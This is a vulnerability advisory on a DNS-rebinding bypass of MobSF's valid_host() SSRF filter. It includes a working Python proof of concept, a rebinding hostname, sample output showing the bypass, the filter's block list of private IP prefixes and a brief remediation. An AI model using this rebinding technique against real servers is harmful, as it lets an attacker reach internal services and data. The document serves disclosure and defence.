Summary
The latest deployed fix for the SSRF vulnerability is through the use of the call valid_host(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.
PoC
The following proof of concept:
def valid_host(host):
"""Check if host is valid."""
try:
prefixs = ('http://', 'https://')
if not host.startswith(prefixs):
host = f'http://{host}'
parsed = urlparse(host)
domain = parsed.netloc
path = parsed.path
if len(domain) == 0:
# No valid domain
return False, None
if len(path) > 0:
# Only host is allowed
return False, None
if ':' in domain:
# IPv6
return False, None
# Local network
invalid_prefix = (
'100.64.',
'127.',
'192.',
'198.',
'10.',
'172.',
'169.',
'0.',
'203.0.',
'224.0.',
'240.0',
'255.255.',
'localhost',
'::1',
'64::ff9b::',
'100::',
'2001::',
'2002::',
'fc00::',
'fe80::',
'ff00::')
if domain.startswith(invalid_prefix):
return False, None
ip = socket.gethostbyname(domain)
if ip.startswith(invalid_prefix):
# Resolve dns to get IP
return False, None
return True, ip
except Exception:
return False, None
import random
import time
import socket
from urllib.parse import urlparse
if __name__ == '__main__':
print("Generating random host ...", end=' ')
prefix = random.randint(999_999, 9_999_999)
host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms"
print("Done")
print(f"Testing with '{host}' ... ", end=" ")
valid, ip = valid_host(host)
if valid:
print(f"Successful Bypass")
print(f" - Host initially resolved to: {ip}")
print("Sleeping for 1 second ...")
time.sleep(1)
print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}")
print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}")
print("Sleeping for 30 seconds ...")
time.sleep(30)
else:
print(f"Invalid host")
Yields :
$ python3 poc.py
Generating random host ... Done
Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ... Successful Bypass
- Host initially resolved to: 1.1.1.1
Sleeping for 1 second ...
- Second use host will be resolved to: 127.0.0.1
- Third use host will be resolved to: 127.0.0.1
Sleeping for 30 seconds ...
Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds.
As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.
Impact
The usual impact of Server-side request forgery.
Remediation
- Avoid the use of
socket.gethostbyname() since it issues and DNS query.
Python
Miggo AI